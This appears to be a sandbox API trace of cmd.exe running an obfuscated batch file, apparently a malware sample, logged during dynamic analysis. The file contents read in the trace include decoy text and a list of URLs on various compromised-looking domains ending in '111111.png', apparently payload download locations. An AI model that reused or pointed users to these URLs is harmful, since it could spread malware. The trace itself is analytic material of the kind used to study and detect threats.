lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fe5f0*=0x62) returned 1 [0231.546] ??_V@YAXPEAX@Z () returned 0x1 [0231.547] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.547] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0231.548] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.548] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff6e2e6fc08 | out: lpMode=0x7ff6e2e6fc08) returned 1 [0231.552] _get_osfhandle (_FileHandle=0) returned 0x4c [0231.552] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff6e2e6fc0c | out: lpMode=0x7ff6e2e6fc0c) returned 1 [0231.552] SetConsoleInputExeNameW () returned 0x1 [0231.552] GetConsoleOutputCP () returned 0x1b5 [0231.552] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e2e6fbb0 | out: lpCPInfo=0x7ff6e2e6fbb0) returned 1 [0231.552] SetThreadUILanguage (LangId=0x0) returned 0x409 [0231.553] ??_V@YAXPEAX@Z () returned 0x1 [0231.554] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c [0231.554] _open_osfhandle (_OSFileHandle=0x9c, _Flags=8) returned 3 [0231.554] _get_osfhandle (_FileHandle=3) returned 0x9c [0231.555] SetFilePointer (in: hFile=0x9c, lDistanceToMove=3787, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xecb [0231.555] GetProcessHeap () returned 0x20b0f920000 [0231.555] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956e20) returned 1 [0231.555] GetProcessHeap () returned 0x20b0f920000 [0231.555] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9255e0) returned 1 [0231.555] GetProcessHeap () returned 0x20b0f920000 [0231.555] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e0d0) returned 1 [0231.555] GetProcessHeap () returned 0x20b0f920000 [0231.555] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f967fe0) returned 1 [0231.556] GetProcessHeap () returned 0x20b0f920000 [0231.556] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d600) returned 1 [0231.556] GetProcessHeap () returned 0x20b0f920000 [0231.556] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957ff0) returned 1 [0231.557] GetProcessHeap () returned 0x20b0f920000 [0231.557] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956d90) returned 1 [0231.557] GetProcessHeap () returned 0x20b0f920000 [0231.557] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d430) returned 1 [0231.557] GetProcessHeap () returned 0x20b0f920000 [0231.557] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92ca50) returned 1 [0231.557] GetProcessHeap () returned 0x20b0f920000 [0231.557] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957f90) returned 1 [0231.558] GetProcessHeap () returned 0x20b0f920000 [0231.558] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f926ea0) returned 1 [0231.558] GetProcessHeap () returned 0x20b0f920000 [0231.558] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956f50) returned 1 [0231.558] GetProcessHeap () returned 0x20b0f920000 [0231.558] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e4d0) returned 1 [0231.558] _get_osfhandle (_FileHandle=3) returned 0x9c [0231.558] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xecb [0231.559] ReadFile (in: hFile=0x9c, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x8ea, lpOverlapped=0x0) returned 1 [0231.559] SetFilePointer (in: hFile=0x9c, lDistanceToMove=3890, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf32 [0231.559] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=103, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\r\ntp://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 103 [0231.559] _get_osfhandle (_FileHandle=3) returned 0x9c [0231.559] GetFileType (hFile=0x9c) returned 0x1 [0231.559] _get_osfhandle (_FileHandle=3) returned 0x9c [0231.559] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf32 [0231.559] GetProcessHeap () returned 0x20b0f920000 [0231.559] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94b230 [0231.560] GetProcessHeap () returned 0x20b0f920000 [0231.560] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94b230) returned 1 [0231.560] _wcsicmp (_String1="Windows", _String2=")") returned 78 [0231.560] _wcsicmp (_String1="FOR", _String2="Windows") returned -17 [0231.560] _wcsicmp (_String1="FOR/?", _String2="Windows") returned -17 [0231.560] _wcsicmp (_String1="IF", _String2="Windows") returned -14 [0231.560] _wcsicmp (_String1="IF/?", _String2="Windows") returned -14 [0231.560] _wcsicmp (_String1="REM", _String2="Windows") returned -5 [0231.560] _wcsicmp (_String1="REM/?", _String2="Windows") returned -5 [0231.560] GetProcessHeap () returned 0x20b0f920000 [0231.560] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f92e4d0 [0231.560] GetProcessHeap () returned 0x20b0f920000 [0231.560] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x20) returned 0x20b0f956f50 [0231.560] GetProcessHeap () returned 0x20b0f920000 [0231.560] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xa6) returned 0x20b0f926ea0 [0231.560] _tell (_FileHandle=3) returned 3890 [0231.560] _close (_FileHandle=3) returned 0 [0231.561] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92feb68 | out: _Buffer="\r\n") returned 2 [0231.561] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.561] GetFileType (hFile=0x50) returned 0x2 [0231.561] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0231.561] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feaf8 | out: lpMode=0x9cb92feaf8) returned 1 [0231.561] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.561] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92feb38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92feb38*=0x2) returned 1 [0231.571] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fa20080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0231.571] _vsnwprintf (in: _Buffer=0x20b0fa50160, _BufferCount=0x83e5, _Format="%s", _ArgList=0x9cb92feb78 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0231.572] _vsnwprintf (in: _Buffer=0x20b0fa50186, _BufferCount=0x83d2, _Format="%c", _ArgList=0x9cb92feb78 | out: _Buffer=">") returned 1 [0231.572] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.572] GetFileType (hFile=0x50) returned 0x2 [0231.572] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0231.572] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feb28 | out: lpMode=0x9cb92feb28) returned 1 [0231.572] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.572] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0fa50160*, nNumberOfCharsToWrite=0x14, lpNumberOfCharsWritten=0x9cb92feb68, lpReserved=0x0 | out: lpBuffer=0x20b0fa50160*, lpNumberOfCharsWritten=0x9cb92feb68*=0x14) returned 1 [0231.573] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.573] GetFileType (hFile=0x50) returned 0x2 [0231.573] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0231.573] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0231.573] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.573] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0f956f60*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x20b0f956f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x7) returned 1 [0231.574] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x9cb92fee38 | out: _Buffer=" XP and is listed separately on this page. Syntax in Windows Vista, 7, ... ") returned 75 [0231.574] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.574] GetFileType (hFile=0x50) returned 0x2 [0231.574] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0231.574] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedc8 | out: lpMode=0x9cb92fedc8) returned 1 [0231.575] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.575] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x4b, lpNumberOfCharsWritten=0x9cb92fee08, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee08*=0x4b) returned 1 [0231.576] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92fee68 | out: _Buffer="\r\n") returned 2 [0231.576] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.576] GetFileType (hFile=0x50) returned 0x2 [0231.576] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0231.576] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0231.576] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.576] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0231.582] malloc (_Size=0xffce) returned 0x20b0fa60940 [0231.582] ??_V@YAXPEAX@Z () returned 0x20b0fa60940 [0231.583] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0231.583] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0231.583] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0231.583] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0231.583] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0231.583] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0231.583] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0231.583] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0231.583] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0231.583] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0231.583] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0231.583] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0231.583] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0231.583] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0231.584] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0231.584] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0231.584] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0231.584] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0231.584] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0231.584] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0231.584] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0231.584] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0231.584] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0231.584] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0231.584] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0231.584] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0231.584] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0231.584] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0231.584] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0231.584] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0231.584] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0231.584] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0231.584] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0231.584] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0231.584] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0231.584] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0231.584] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0231.585] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0231.585] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0231.585] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0231.585] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0231.585] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0231.585] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0231.585] malloc (_Size=0xffce) returned 0x20b0fa70920 [0231.585] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0231.586] GetProcessHeap () returned 0x20b0f920000 [0231.586] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f957f90 [0231.588] SetErrorMode (uMode=0x0) returned 0x0 [0231.588] SetErrorMode (uMode=0x1) returned 0x0 [0231.589] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f957fa0, lpFilePart=0x9cb92feba0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92feba0*="system32") returned 0x13 [0231.589] SetErrorMode (uMode=0x0) returned 0x1 [0231.589] GetProcessHeap () returned 0x20b0f920000 [0231.589] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f957f90, Size=0x48) returned 0x20b0f957f90 [0231.589] GetProcessHeap () returned 0x20b0f920000 [0231.589] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f957f90) returned 0x48 [0231.589] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0231.589] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0231.589] GetProcessHeap () returned 0x20b0f920000 [0231.589] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92ca50 [0231.589] GetProcessHeap () returned 0x20b0f920000 [0231.589] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f92d430 [0231.589] GetProcessHeap () returned 0x20b0f920000 [0231.589] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d430, Size=0x1b6) returned 0x20b0f92d430 [0231.589] GetProcessHeap () returned 0x20b0f920000 [0231.589] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d430) returned 0x1b6 [0231.589] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0231.589] GetProcessHeap () returned 0x20b0f920000 [0231.589] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f947190 [0231.589] GetProcessHeap () returned 0x20b0f920000 [0231.589] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f947190, Size=0x7e) returned 0x20b0f956b50 [0231.589] GetProcessHeap () returned 0x20b0f920000 [0231.589] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f956b50) returned 0x7e [0231.589] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.589] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92cf70 [0231.590] FindClose (in: hFindFile=0x20b0f92cf70 | out: hFindFile=0x20b0f92cf70) returned 1 [0231.590] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.590] GetLastError () returned 0x2 [0231.590] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.590] GetLastError () returned 0x2 [0231.590] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.590] GetLastError () returned 0x2 [0231.591] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.591] GetLastError () returned 0x2 [0231.591] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.591] GetLastError () returned 0x2 [0231.591] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.591] GetLastError () returned 0x2 [0231.592] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.592] GetLastError () returned 0x2 [0231.595] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.595] GetLastError () returned 0x2 [0231.595] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.595] GetLastError () returned 0x2 [0231.596] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.596] GetLastError () returned 0x2 [0231.596] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.596] GetLastError () returned 0x2 [0231.596] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.596] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.596] GetLastError () returned 0x2 [0231.596] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.597] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92ccd0 [0231.597] FindClose (in: hFindFile=0x20b0f92ccd0 | out: hFindFile=0x20b0f92ccd0) returned 1 [0231.597] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.597] GetLastError () returned 0x2 [0231.597] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.597] GetLastError () returned 0x2 [0231.597] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.598] GetLastError () returned 0x2 [0231.598] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.598] GetLastError () returned 0x2 [0231.598] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.598] GetLastError () returned 0x2 [0231.598] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.598] GetLastError () returned 0x2 [0231.598] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.599] GetLastError () returned 0x2 [0231.599] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.599] GetLastError () returned 0x2 [0231.599] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.599] GetLastError () returned 0x2 [0231.599] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.599] GetLastError () returned 0x2 [0231.599] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.599] GetLastError () returned 0x2 [0231.599] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.600] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.600] GetLastError () returned 0x2 [0231.600] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.600] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.600] GetLastError () returned 0x2 [0231.600] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.600] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.600] GetLastError () returned 0x2 [0231.600] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.601] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.601] GetLastError () returned 0x2 [0231.601] ??_V@YAXPEAX@Z () returned 0x1 [0231.601] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92feb80, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0231.603] malloc (_Size=0xffce) returned 0x20b0fa70920 [0231.603] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0231.604] malloc (_Size=0xffce) returned 0x20b0fa80900 [0231.604] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0231.604] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0231.604] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0231.604] _wcsicmp (_String1="Windows", _String2="DEL") returned 